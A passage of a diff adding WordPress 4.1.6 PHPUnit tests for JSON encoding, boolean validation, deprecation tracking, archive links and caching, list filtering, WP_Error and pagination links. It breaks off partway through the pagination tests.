+		$utf8 = mb_convert_encoding( $eucjp, 'UTF-8', 'EUC-JP' );
+
+		$this->assertEquals( 'aあb', $utf8 );
+
+		$this->assertEquals( '["c","a\u3042b"]', wp_json_encode( array( 'c', $eucjp ) ) );
+
+		mb_detect_order( $old_charsets );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_array() {
+		$this->assertEquals( wp_json_encode( array( 'a' ) ), '["a"]' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_object() {
+		$object = new stdClass;
+		$object->a = 'b';
+		$this->assertEquals( wp_json_encode( $object ), '{"a":"b"}' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_depth() {
+		if ( version_compare( PHP_VERSION, '5.5', '<' ) ) {
+			$this->markTestSkipped( 'json_encode() supports the $depth parameter in PHP 5.5+' );
+		};
+
+		$data = array( array( array( 1, 2, 3 ) ) );
+		$json = wp_json_encode( $data, 0, 1 );
+		$this->assertFalse( $json );
+
+		$data = array( 'あ', array( array( 1, 2, 3 ) ) );
+		$json = wp_json_encode( $data, 0, 1 );
+		$this->assertFalse( $json );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/functions/WpValidateBoolean.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/functions/WpValidateBoolean.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/functions/WpValidateBoolean.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions_WpValidateBoolean extends WP_UnitTestCase {
+	public function test_bool_true() {
+		$this->assertTrue( wp_validate_boolean( true ) );
+	}
+
+	public function test_int_1() {
+		$this->assertTrue( wp_validate_boolean( 1 ) );
+	}
+
+	public function test_string_true_lowercase() {
+		$this->assertTrue( wp_validate_boolean( 'true' ) );
+	}
+
+	public function test_string_true_uppercase() {
+		$this->assertTrue( wp_validate_boolean( 'TRUE' ) );
+	}
+
+	public function test_arbitrary_string_should_return_true() {
+		$this->assertTrue( wp_validate_boolean( 'foobar' ) );
+	}
+
+	public function test_bool_false() {
+		$this->assertFalse( wp_validate_boolean( false ) );
+	}
+
+	public function test_int_0() {
+		$this->assertFalse( wp_validate_boolean( 0 ) );
+	}
+
+	public function test_float_0() {
+		$this->assertFalse( wp_validate_boolean( 0.0 ) );
+	}
+
+	public function test_empty_string() {
+		$this->assertFalse( wp_validate_boolean( '' ) );
+	}
+
+	public function test_string_0() {
+		$this->assertFalse( wp_validate_boolean( '0' ) );
+	}
+
+	public function test_empty_array() {
+		$this->assertFalse( wp_validate_boolean( array() ) );
+	}
+
+	public function test_null() {
+		$this->assertFalse( wp_validate_boolean( null ) );
+	}
+
+	public function test_string_false_lowercase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'false' ) );
+	}
+
+	/**
+	 * @ticket 30238
+	 */
+	public function test_string_false_uppercase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'FALSE' ) );
+	}
+
+	/**
+	 * @ticket 30238
+	 */
+	public function test_string_false_mixedcase() {
+		// Differs from (bool) conversion.
+		$this->assertFalse( wp_validate_boolean( 'FaLsE' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/functions/deprecated.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/functions/deprecated.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/functions/deprecated.php	(revision 33402)
@@ -0,0 +1,178 @@
+<?php
+
+/**
+ * Test cases for deprecated functions, arguments, and files
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.5
+ * @group      deprecated
+ */
+class Test_Functions_Deprecated extends WP_UnitTestCase {
+
+	/**
+	 * List of functions that have been passed through _deprecated_function()
+	 * @var string[]
+	 */
+	protected $_deprecated_functions = array();
+
+	/**
+	 * List of arguments that have been passed through _deprecated_argument()
+	 * @var string[]
+	 */
+	protected $_deprecated_arguments = array();
+
+	/**
+	 * List of files that have been passed through _deprecated_file()
+	 * @var string[]
+	 */
+	protected $_deprecated_files = array();
+
+	/**
+	 * Set up the test fixture
+	 * @return void
+	 */
+	public function setUp() {
+		parent::setUp();
+		$this->_deprecated_functions = array();
+		$this->_deprecated_arguments = array();
+		$this->_deprecated_files = array();
+		add_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+		add_action( 'deprecated_function_trigger_error', '__return_false' );
+		add_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+		add_action( 'deprecated_argument_trigger_error', '__return_false' );
+		add_action( 'deprecated_file_included' , array( $this, 'deprecated_file' ), 10, 4 );
+		add_action( 'deprecated_file_trigger_error', '__return_false' );
+	}
+
+	/**
+	 * Tear down the test fixture
+	 * @return void
+	 */
+	public function teardown() {
+		remove_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+		remove_action( 'deprecated_function_trigger_error', '__return_false' );
+		remove_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+		remove_action( 'deprecated_argument_trigger_error', '__return_false' );
+		remove_action( 'deprecated_file_included' , array( $this, 'deprecated_argument' ), 10, 4 );
+		remove_action( 'deprecated_file_trigger_error', '__return_false' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Catch functions that have passed through _deprecated_function
+	 * @param string $function
+	 * @param string $replacement
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_function( $function, $replacement, $version ) {
+		$this->_deprecated_functions[] = array(
+			'function'    => $function,
+			'replacement' => $replacement,
+			'version'     => $version
+		);
+	}
+
+	/**
+	 * Catch arguments that have passed through _deprecated_argument
+	 * @param string $argument
+	 * @param string $message
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_argument( $argument, $message, $version ) {
+		$this->_deprecated_arguments[] = array(
+			'argument' => $argument,
+			'message'  => $message,
+			'version'  => $version
+		);
+	}
+
+	/**
+	 * Catch arguments that have passed through _deprecated_argument
+	 * @param string $argument
+	 * @param string $message
+	 * @param float $version
+	 * @return void
+	 */
+	public function deprecated_file( $file, $version, $replacement, $message ) {
+		$this->_deprecated_files[] = array(
+			'file'        => $file,
+			'version'     => $version,
+			'replacement' => $replacement,
+			'message'     => $message
+		);
+	}
+
+	/**
+	 * Check if something was deprecated
+	 * @param string $type argument|function|file
+	 * @param string $name
+	 * @return array|false
+	 */
+	protected function was_deprecated( $type, $name ) {
+		switch ( $type ) {
+			case 'argument' :
+				$search = $this->_deprecated_arguments;
+				$key    = 'argument';
+				break;
+			case 'function' :
+				$search = $this->_deprecated_functions;
+				$key    = 'function';
+				break;
+			default :
+				$search = $this->_deprecated_files;
+				$key    = 'file';
+		}
+		foreach ( $search as $v ) {
+			if ( $name == $v[$key] ) {
+				return $v;
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Test that wp_save_image_file has a deprecated argument when passed a GD resource
+	 * @ticket 6821
+	 * @expectedDeprecated wp_save_image_file
+	 */
+	public function test_wp_save_image_file_deprecated_with_gd_resource() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		// Call wp_save_image_file
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+		$file = wp_tempnam();
+		$img = imagecreatefromjpeg( DIR_TESTDATA . '/images/canola.jpg' );
+		wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+		imagedestroy( $img );
+		unlink( $file );
+
+		// Check if the arg was deprecated
+		$check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+		$this->assertNotEmpty( $check );
+	}
+
+	/**
+	 * Test that wp_save_image_file doesn't have a deprecated argument when passed a WP_Image_Editor
+	 * @ticket 6821
+	 */
+	public function test_wp_save_image_file_not_deprecated_with_wp_image_editor() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		// Call wp_save_image_file
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+		$file = wp_tempnam();
+		$img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+		unset( $img );
+		unlink( $file );
+
+		// Check if the arg was deprecated
+		$check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+		$this->assertFalse( $check );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/functions/getArchives.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/functions/getArchives.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/functions/getArchives.php	(revision 33402)
@@ -0,0 +1,91 @@
+<?php
+/*
+$defaults = array(
+	'type' => 'monthly', 'limit' => '',
+	'format' => 'html', 'before' => '',
+	'after' => '', 'show_post_count' => false,
+	'echo' => 1, 'order' => 'DESC',
+);
+*/
+class Tests_Get_Archives extends WP_UnitTestCase {
+	protected $post_ids;
+	protected $month_url;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->month_url = get_month_link( date( 'Y' ), date( 'm' ) );
+		$this->year_url = get_year_link( date( 'Y' ) );
+		$this->post_ids = $this->factory->post->create_many( 8, array( 'post_type' => 'post', 'post_author' => '1' ) );
+	}
+
+	function test_wp_get_archives_default() {
+		$expected['default'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . "</a></li>";
+		$this->assertEquals( $expected['default'], trim( wp_get_archives( array( 'echo' => false ) ) ) );
+	}
+
+	function test_wp_get_archives_type() {
+		$expected['type'] = "<li><a href='" . $this->year_url . "'>" . date( 'Y' ) . "</a></li>";
+		$this->assertEquals( $expected['type'], trim( wp_get_archives( array( 'echo' => false, 'type' => 'yearly' ) ) ) );
+	}
+
+	function test_wp_get_archives_limit() {
+		$ids = array_slice( array_reverse( $this->post_ids ), 0, 5 );
+
+		$link1 = get_permalink( $ids[0] );
+		$link2 = get_permalink( $ids[1] );
+		$link3 = get_permalink( $ids[2] );
+		$link4 = get_permalink( $ids[3] );
+		$link5 = get_permalink( $ids[4] );
+
+		$expected['limit'] = <<<EOF
+<li><a href='$link1'>Post title 8</a></li>
+	<li><a href='$link2'>Post title 7</a></li>
+	<li><a href='$link3'>Post title 6</a></li>
+	<li><a href='$link4'>Post title 5</a></li>
+	<li><a href='$link5'>Post title 4</a></li>
+EOF;
+		$this->assertEquals( $expected['limit'], trim( wp_get_archives( array( 'echo' => false, 'type' => 'postbypost', 'limit' => 5 ) ) ) );
+	}
+
+	function test_wp_get_archives_format() {
+		$expected['format'] = "<option value='" . $this->month_url . "'> " . date( 'F Y' ) . ' </option>';
+		$this->assertEquals( $expected['format'], trim( wp_get_archives( array( 'echo' => false, 'format' => 'option' ) ) ) );
+	}
+
+	function test_wp_get_archives_before_and_after() {
+		$expected['before_and_after'] = "<div><a href='" . $this->month_url . "'>" . date( 'F Y' ) . '</a></div>';
+		$this->assertEquals( $expected['before_and_after'], trim( wp_get_archives( array( 'echo' => false, 'format' => 'custom', 'before' => '<div>', 'after' => '</div>' ) ) ) );
+	}
+
+	function test_wp_get_archives_show_post_count() {
+		$expected['show_post_count'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . "</a>&nbsp;(8)</li>";
+		$this->assertEquals( $expected['show_post_count'], trim( wp_get_archives( array( 'echo' => false, 'show_post_count' => 1 ) ) ) );
+	}
+
+	function test_wp_get_archives_echo() {
+		$expected['echo'] = "<li><a href='" . $this->month_url . "'>" . date( 'F Y' ) . '</a></li>';
+		ob_start();
+		wp_get_archives( array( 'echo' => true ) );
+		$actual = ob_get_clean();
+		$this->assertEquals( $expected['echo'], trim( $actual ) );
+	}
+
+	function test_wp_get_archives_order() {
+		$this->factory->post->create( array( 'post_type' => 'post', 'post_author' => '1', 'post_date' => '2012-10-23 19:34:42' ) );
+
+		$date_full = date( 'F Y' );
+		$oct_url = get_month_link( 2012, 10 );
+		$expected['order_asc'] = <<<EOF
+<li><a href='{$oct_url}'>October 2012</a></li>
+	<li><a href='{$this->month_url}'>$date_full</a></li>
+EOF;
+		$this->assertEquals( $expected['order_asc'], trim( wp_get_archives( array( 'echo' => false, 'order' => 'ASC' ) ) ) );
+
+		$expected['order_desc'] = <<<EOF
+<li><a href='{$this->month_url}'>$date_full</a></li>
+	<li><a href='{$oct_url}'>October 2012</a></li>
+EOF;
+		$this->assertEquals( $expected['order_desc'], trim( wp_get_archives( array( 'echo' => false, 'order' => 'DESC' ) ) ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/functions/listFilter.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/functions/listFilter.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/functions/listFilter.php	(revision 33402)
@@ -0,0 +1,157 @@
+<?php
+
+/**
+ * Test wp_filter_object_list(), wp_list_filter(), wp_list_pluck().
+ *
+ * @group functions.php
+ */
+class Tests_Functions_ListFilter extends WP_UnitTestCase {
+	var $object_list = array();
+	var $array_list = array();
+
+	function setUp() {
+		parent::setUp();
+		$this->array_list['foo'] = array( 'name' => 'foo', 'id' => 'f', 'field1' => true, 'field2' => true, 'field3' => true, 'field4' => array( 'red' ) );
+		$this->array_list['bar'] = array( 'name' => 'bar', 'id' => 'b', 'field1' => true, 'field2' => true, 'field3' => false, 'field4' => array( 'green' ) );
+		$this->array_list['baz'] = array( 'name' => 'baz', 'id' => 'z', 'field1' => true, 'field2' => false, 'field3' => false, 'field4' => array( 'blue' ) );
+		foreach ( $this->array_list as $key => $value ) {
+			$this->object_list[ $key ] = (object) $value;
+		}
+	}
+
+	function test_filter_object_list_and() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'bar', $list );
+	}
+
+	function test_filter_object_list_or() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'OR' );
+		$this->assertEquals( 3, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'bar', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_not() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_and_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+	}
+
+	function test_filter_object_list_or_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'OR', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+	}
+
+	function test_filter_object_list_not_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT', 'name' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertEquals( array( 'baz' => 'baz' ) , $list );
+	}
+
+	function test_wp_list_pluck() {
+		$list = wp_list_pluck( $this->object_list, 'name' );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+
+		$list = wp_list_pluck( $this->array_list, 'name' );
+		$this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_index_key() {
+		$list = wp_list_pluck( $this->array_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_object_index_key() {
+		$list = wp_list_pluck( $this->object_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_missing_index_key() {
+		$list = wp_list_pluck( $this->array_list, 'name', 'nonexistent' );
+		$this->assertEquals( array( 0 => 'foo', 1 => 'bar', 2 => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_partial_missing_index_key() {
+		$array_list = $this->array_list;
+		unset( $array_list[ 'bar']['id'] );
+		$list = wp_list_pluck( $array_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 0 => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	/**
+	 * @ticket 28666
+	 */
+	function test_wp_list_pluck_mixed_index_key() {
+		$mixed_list = $this->array_list;
+		$mixed_list['bar'] = (object) $mixed_list['bar'];
+		$list = wp_list_pluck( $mixed_list, 'name', 'id' );
+		$this->assertEquals( array( 'f' => 'foo', 'b' => 'bar', 'z' => 'baz' ), $list );
+	}
+
+	function test_filter_object_list_nested_array_and() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_not() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'red' ) ), 'NOT' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'bar', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_or() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertArrayHasKey( 'foo', $list );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+	function test_filter_object_list_nested_array_or_singular() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'OR' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertArrayHasKey( 'baz', $list );
+	}
+
+
+	function test_filter_object_list_nested_array_and_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND', 'name' );
+		$this->assertEquals( 1, count( $list ) );
+		$this->assertEquals( array( 'baz' => 'baz' ) , $list );
+	}
+
+	function test_filter_object_list_nested_array_not_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'green' ) ), 'NOT', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+	}
+
+	function test_filter_object_list_nested_array_or_field() {
+		$list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR', 'name' );
+		$this->assertEquals( 2, count( $list ) );
+		$this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/general/archives.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/general/archives.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/general/archives.php	(revision 33402)
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * @group general
+ */
+class Tests_General_Archives extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		wp_cache_delete( 'last_changed', 'posts' );
+	}
+
+	/**
+	 * @ticket 23206
+	 */
+	function test_get_archives_cache() {
+		global $wpdb;
+
+		$this->factory->post->create_many( 15, array( 'post_type' => 'post' ) );
+		wp_cache_delete( 'last_changed', 'posts' );
+		$this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change args, resulting in a different query string. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/general/errors.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/general/errors.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/general/errors.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Tests for error handling and the WP_Error class.
+ *
+ * @group general
+ */
+class Tests_General_Errors extends WP_UnitTestCase {
+
+	function test_create_error() {
+		$error = new WP_Error( 'foo', 'message', 'data' );
+
+		$this->assertTrue( is_wp_error( $error ) );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'message', $error->get_error_message() );
+		$this->assertEquals( 'data', $error->get_error_data() );
+	}
+
+	function test_add_error() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'message', 'data' );
+
+		$this->assertTrue( is_wp_error( $error ) );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'message', $error->get_error_message() );
+		$this->assertEquals( 'data', $error->get_error_data() );
+	}
+
+	function test_multiple_errors() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'foo message', 'foo data' );
+		$error->add( 'bar', 'bar message', 'bar data' );
+
+		$this->assertTrue( is_wp_error( $error ) );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'foo message', $error->get_error_message() );
+		$this->assertEquals( 'foo data', $error->get_error_data() );
+
+		$this->assertEquals( array( 'foo', 'bar' ), $error->get_error_codes() );
+		$this->assertEquals( array( 'foo message', 'bar message' ), $error->get_error_messages() );
+		$this->assertEquals( 'foo data', $error->get_error_data( 'foo' ) );
+		$this->assertEquals( 'bar data', $error->get_error_data( 'bar' ) );
+	}
+
+	/**
+	 * @ticket 28092
+	 */
+	function test_remove_error() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'This is the first error message', 'some error data' );
+		$error->add( 'foo', 'This is the second error message' );
+		$error->add( 'bar', 'This is another error' );
+
+		$error->remove( 'foo' );
+
+		// Check the error has been removed.
+		$this->assertEmpty( $error->get_error_data( 'foo' ) );
+		$this->assertEmpty( $error->get_error_messages( 'foo' ) );
+		
+		// The 'bar' error should now be the 'first' error retrieved.
+		$this->assertEquals( 'bar', $error->get_error_code() );
+		$this->assertEmpty( $error->get_error_data() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/general/paginateLinks.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/general/paginateLinks.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/general/paginateLinks.php	(revision 33402)
@@ -0,0 +1,314 @@
+<?php
+
+class Tests_Paginate_Links extends WP_UnitTestCase {
+
+	private $i18n_count = 0;
+	private $permalink_structure = '';
+
+	function setUp() {
+		parent::setUp();
+		global $wp_rewrite;
+
+		$this->go_to( home_url( '/' ) );
+
+		$this->permalink_structure = $wp_rewrite->permalink_structure;
+		$wp_rewrite->set_permalink_structure( get_option( 'permalink_structure' ) );
+	}
+
+	function tearDown() {
+		global $wp_rewrite;
+		$wp_rewrite->set_permalink_structure( $this->permalink_structure );
+	}
+
+	function test_defaults() {
+		$page2 = get_pagenum_link( 2 );
+		$page3 = get_pagenum_link( 3 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<span class='page-numbers current'>1</span>
+<a class='page-numbers' href='$page2'>2</a>
+<a class='page-numbers' href='$page3'>3</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page2">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_format() {
+		$page2 = home_url( '/page/2/' );
+		$page3 = home_url( '/page/3/' );
+		$page50 = home_url( '/page/50/' );
+
+		$expected =<<<EXPECTED
+<span class='page-numbers current'>1</span>
+<a class='page-numbers' href='$page2'>2</a>
+<a class='page-numbers' href='$page3'>3</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page2">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'format' => 'page/%#%/' ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_prev_next_false() {
+		$home = home_url( '/' );
+		$page3 = get_pagenum_link( 3 );
+		$page4 = get_pagenum_link( 4 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<a class='page-numbers' href='$home'>1</a>
+<span class='page-numbers current'>2</span>
+<a class='page-numbers' href='$page3'>3</a>
+<a class='page-numbers' href='$page4'>4</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'prev_next' => false, 'current' => 2 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_prev_next_true() {
+		$home = home_url( '/' );
+		$page3 = get_pagenum_link( 3 );
+		$page4 = get_pagenum_link( 4 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<a class="prev page-numbers" href="$home">&laquo; Previous</a>
+<a class='page-numbers' href='$home'>1</a>
+<span class='page-numbers current'>2</span>
+<a class='page-numbers' href='$page3'>3</a>
+<a class='page-numbers' href='$page4'>4</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page3">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'prev_next' => true, 'current' => 2 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function increment_i18n_count() {
+		$this->i18n_count += 1;
+	}
+
+	/**
+	 * @ticket 25735
+	 */
+	function test_paginate_links_number_format() {
+		$this->i18n_count = 0;
+		add_filter( 'number_format_i18n', array( $this, 'increment_i18n_count' ) );
+		paginate_links( array(
+			'total'     => 100,
+			'current'   => 50,
+			'show_all'  => false,
+			'prev_next' => true,
+			'end_size'  => 1,
+			'mid_size'  => 1,
+		) );
+		// The links should be:
